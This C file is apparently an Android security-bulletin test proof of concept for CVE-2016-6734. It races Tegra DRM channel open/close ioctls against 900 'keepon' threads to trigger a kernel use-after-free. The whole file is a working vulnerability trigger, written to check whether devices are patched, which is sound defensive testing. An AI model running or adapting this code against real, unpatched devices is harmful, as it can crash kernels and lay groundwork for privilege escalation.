hostsidetests/securitybulletin/securityPatch/CVE-2016-6734/poc.c

/*
 * Copyright (C) 2017 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <errno.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/types.h>
#include <signal.h>
#include <unistd.h>

#define KEEPON_THREAD_NUM	900
#define TRY_TIMES	KEEPON_THREAD_NUM
#define DEV "/dev/dri/renderD129"

#define SIOCIWFIRSTPRIV 0x8BE0
#define SIOCGIWNAME     0x8B01
#define IOCTL_SET_STRUCT_FOR_EM         (SIOCIWFIRSTPRIV + 11)
#define PRIV_CUSTOM_BWCS_CMD            13
#define PRIV_CMD_OID                    15
#define PRIV_CMD_SW_CTRL                20
#define PRIV_CMD_WSC_PROBE_REQ          22

enum host1x_class {
        HOST1X_CLASS_HOST1X = 0x1,
        HOST1X_CLASS_NVENC = 0x21,
        HOST1X_CLASS_VI = 0x30,
        HOST1X_CLASS_ISPA = 0x32,
        HOST1X_CLASS_ISPB = 0x34,
        HOST1X_CLASS_GR2D = 0x51,
        HOST1X_CLASS_GR2D_SB = 0x52,
        HOST1X_CLASS_VIC = 0x5D,
        HOST1X_CLASS_GR3D = 0x60,
        HOST1X_CLASS_NVJPG = 0xC0,
        HOST1X_CLASS_NVDEC = 0xF0,
};

#define DRM_COMMAND_BASE                0x40
#define DRM_COMMAND_END                 0xA0
#define DRM_TEGRA_OPEN_CHANNEL          0x05
#define DRM_TEGRA_CLOSE_CHANNEL         0x06
#define DRM_TEGRA_START_KEEPON		0x10

struct drm_tegra_open_channel {
        __u32 client;
        __u32 pad;
    volatile __u64 context;
};

struct drm_tegra_close_channel {
    volatile __u64 context;
};

struct drm_tegra_keepon {
	volatile __u64 context;
};

#define DRM_IOCTL_BASE                  'd'
#define DRM_IOWR(nr,type)               _IOWR(DRM_IOCTL_BASE,nr,type)

#define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
#define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
#define DRM_IOCTL_TEGRA_START_KEEPON DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_START_KEEPON, struct drm_tegra_keepon)

int fd;
pthread_t keepon_thread_id[KEEPON_THREAD_NUM] = { 0 };

volatile struct drm_tegra_open_channel open_c = { 0 };
volatile struct drm_tegra_close_channel close_c = { 0 };
volatile struct drm_tegra_keepon keepon_c = { 0 };

static int set_affinity(int num)
{
	int ret = 0;
	cpu_set_t mask;
	CPU_ZERO(&mask);
	CPU_SET(num, &mask);
	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
	if(ret == -1){
	}
	return ret;
}

static void prepare()
{
	open_c.client = HOST1X_CLASS_VIC;
}

void* keepon_thread(void* no_use)
{
	set_affinity(1);

	while(1){
		ioctl(fd, DRM_IOCTL_TEGRA_START_KEEPON, &keepon_c);
	}
}

int main()
{
	int i, try_time = TRY_TIMES, ret;

	/* bind_cpu */
	set_affinity(0);

	/* open dev */
	fd = open(DEV,O_RDONLY);
	if(fd == -1){
		return 0;
	}

	/* prepare ioctl cmd */
	prepare();

	/* create keepon thread */
	for(i = 0; i < KEEPON_THREAD_NUM; i++){
		ret = pthread_create(keepon_thread_id + i, NULL, keepon_thread, NULL);
		if(ret){
			goto out_keepon_thread;
		}
	}

	while(try_time){
		/* open */
		ret = ioctl(fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
		if(ret == 0){
			try_time--;
			/* set keepon */
			keepon_c.context = open_c.context;
			/* set close */
			close_c.context = open_c.context;
			usleep(500);
			ret = ioctl(fd, DRM_IOCTL_TEGRA_CLOSE_CHANNEL, &close_c);
		}
	}
	
out_keepon_thread:
	/* kill keepon thread */
	for(i = 0; i < KEEPON_THREAD_NUM; i++){
			pthread_kill(keepon_thread_id[i], SIGKILL);
	}
out_dev:
	close(fd);
	return 0;
}